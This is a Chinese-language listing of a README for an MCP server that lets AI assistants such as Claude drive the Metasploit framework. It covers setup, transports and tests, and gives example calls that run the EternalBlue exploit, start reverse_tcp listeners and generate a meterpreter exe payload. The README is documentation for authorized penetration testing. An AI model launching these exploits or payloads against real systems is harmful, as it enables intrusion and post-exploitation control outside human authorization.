返回市场
<元渗透测试工具MCP>

<元渗透测试工具MCP>

作者:GH05TCREW371 星标更新:2025-10-04

项目介绍

Metasploit MCP 服务器

用于 Metasploit 框架集成的模型上下文协议(MCP)服务器。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

描述

此 MCP 服务器在大型语言模型(如 Claude)与 Metasploit 框架渗透测试平台之间提供了一个桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 功能,从而实现对复杂安全测试工作流程的自然语言接口。

特性

模块信息

  • list_exploits: 搜索并列出可用的 Metasploit 攻击模块
  • list_payloads: 搜索并列出可用的 Metasploit 载荷模块,可选平台和架构过滤

攻击工作流

  • run_exploit: 配置并执行针对目标的攻击,可以选择先运行检查
  • run_auxiliary_module: 运行带有自定义选项的任何 Metasploit 辅助模块
  • run_post_module: 对现有会话执行后攻击模块

载荷生成

  • generate_payload: 使用 Metasploit RPC 生成载荷文件(本地保存)

会话管理

  • list_active_sessions: 显示当前的 Metasploit 会话及其详细信息
  • send_session_command: 在活动的 shell 或 Meterpreter 会话中运行命令
  • terminate_session: 强制结束活动会话

处理程序管理

  • list_listeners: 显示所有活动的处理程序和后台任务
  • start_listener: 创建一个新的多处理程序以接收连接
  • stop_job: 终止任何正在运行的任务或处理程序

先决条件

  • 已安装 Metasploit 框架且 msfrpcd 正在运行
  • Python 3.10 或更高版本
  • 所需的 Python 包(参见 requirements.txt)

安装

  1. 克隆此仓库
  2. 安装依赖项:
    pip install -r requirements.txt
    
  3. 配置环境变量(可选):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # 可选:生成载荷保存位置
    

使用方法

启动 Metasploit RPC 服务:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

传输选项

服务器支持两种传输方式:

  • HTTP/SSE(服务器发送事件):默认模式,与大多数 MCP 客户端互操作
  • STDIO(标准输入/输出):与 Claude Desktop 和类似的直接管道连接使用

您可以使用 --transport 标志显式选择传输模式:

# 使用 HTTP/SSE 传输(默认)
python MetasploitMCP.py --transport http

# 使用 STDIO 传输
python MetasploitMCP.py --transport stdio

HTTP 模式的其他选项:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port  8085

Claude Desktop 集成

对于 Claude Desktop 集成,配置 claude_desktop_config.json

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

其他 MCP 客户端

对于使用 HTTP/SSE 的其他 MCP 客户端:

  1. 在 HTTP 模式下启动服务器:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. 配置您的 MCP 客户端连接到:

    • SSE 端点:http://your-server-ip:8085/sse

安全注意事项

⚠️ 重要安全警告

此工具提供了直接访问 Metasploit 框架功能的能力,包括强大的攻击特性。仅在您明确获得授权进行安全测试的环境中负责任地使用。

  • 始终验证并审查所有命令
  • 仅在隔离的测试环境中或在适当授权的情况下运行
  • 注意后攻击命令可能导致显著的系统修改

示例工作流程

基本攻击

  1. 列出可用的攻击模块:list_exploits("ms17_010")
  2. 选择并运行攻击模块:run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. 列出会话:list_active_sessions()
  4. 运行命令:send_session_command(1, "whoami")

后攻击

  1. 运行后模块:run_post_module("windows/gather/enum_logged_on_users", 1)
  2. 发送自定义命令:send_session_command(1, "sysinfo")
  3. 结束时终止:terminate_session(1)

处理程序管理

  1. 启动监听器:start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. 列出活动的监听器:list_listeners()
  3. 生成载荷:generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. 停止监听器:stop_job(1)

测试

该项目包括全面的单元测试和集成测试,以确保可靠性和可维护性。

测试先决条件

安装测试依赖项:

pip install -r requirements-test.txt

或者使用方便的安装器:

python run_tests.py --install-deps
# 或者
make install-deps

运行测试

快速命令

# 运行所有测试
python run_tests.py --all
# 或者
make test

# 运行并生成覆盖率报告
python run_tests.py --all --coverage
# 或者
make coverage

# 运行并生成 HTML 覆盖率报告
python run_tests.py --all --coverage --html
# 或者
make coverage-html

特定测试套件

# 单元测试
python run_tests.py --unit
# 或者
make test-unit

# 集成测试
python run_tests.py --integration
# 或者
make test-integration

# 选项解析测试
python run_tests.py --options
# 或者
make test-options

# 辅助函数测试
python run_tests.py --helpers
# 或者
make test-helpers

# MCP 工具测试
python run_tests.py --tools
# 或者
make test-tools

测试选项

# 包括慢速测试
python run_tests.py --all --slow

# 包括网络测试(需要实际网络)
python run_tests.py --all --network

# 详细输出
python run_tests.py --all --verbose

# 快速测试(无覆盖率,快速失败)
make quick-test

# 调试模式(详细的失败信息)
make test-debug

测试结构

  • tests/test_options_parsing.py: 优雅的选项解析功能的单元测试
  • tests/test_helpers.py: 内部辅助函数和 MSF 客户端管理的单元测试
  • tests/test_tools_integration.py: 使用模拟的 Metasploit 后端的所有 MCP 工具的集成测试
  • conftest.py: 共享的测试夹具和配置
  • pytest.ini: 包含覆盖率设置的 Pytest 配置

测试功能

  • 全面模拟:所有 Metasploit 依赖项都被模拟,因此测试可以在没有实际 MSF 安装的情况下运行
  • 异步支持:使用 pytest-asyncio 提供完整的异步/等待测试支持
  • 覆盖率报告:详细的覆盖率分析,带有 HTML 报告
  • 参数化测试:高效测试多个输入场景
  • 夹具管理:可重用的测试夹具,适用于常见的设置场景

覆盖率报告

运行测试并生成覆盖率报告后,报告可在以下位置找到:

  • 终端:测试运行后显示的覆盖率摘要
  • HTMLhtmlcov/index.html(当使用 --html 选项时)

CI/CD 集成

对于持续集成:

# CI 友好的测试命令
make ci-test
# 或者
python run_tests.py --all --coverage --verbose

配置选项

载荷保存目录

默认情况下,使用 generate_payload 生成的载荷保存在您的主目录中的 payloads 目录(~/payloadsC:\Users\YourUsername\payloads)。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量来自定义此位置。

设置环境变量:

  • Windows(PowerShell)

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows(命令提示符)

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • 在 Claude Desktop 配置中

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // 如果要覆盖默认值,请添加
    }
    

注意:如果您指定了自定义路径,请确保该路径存在或应用程序具有创建它的权限。如果路径无效,载荷生成可能会失败。

许可证

Apache 2.0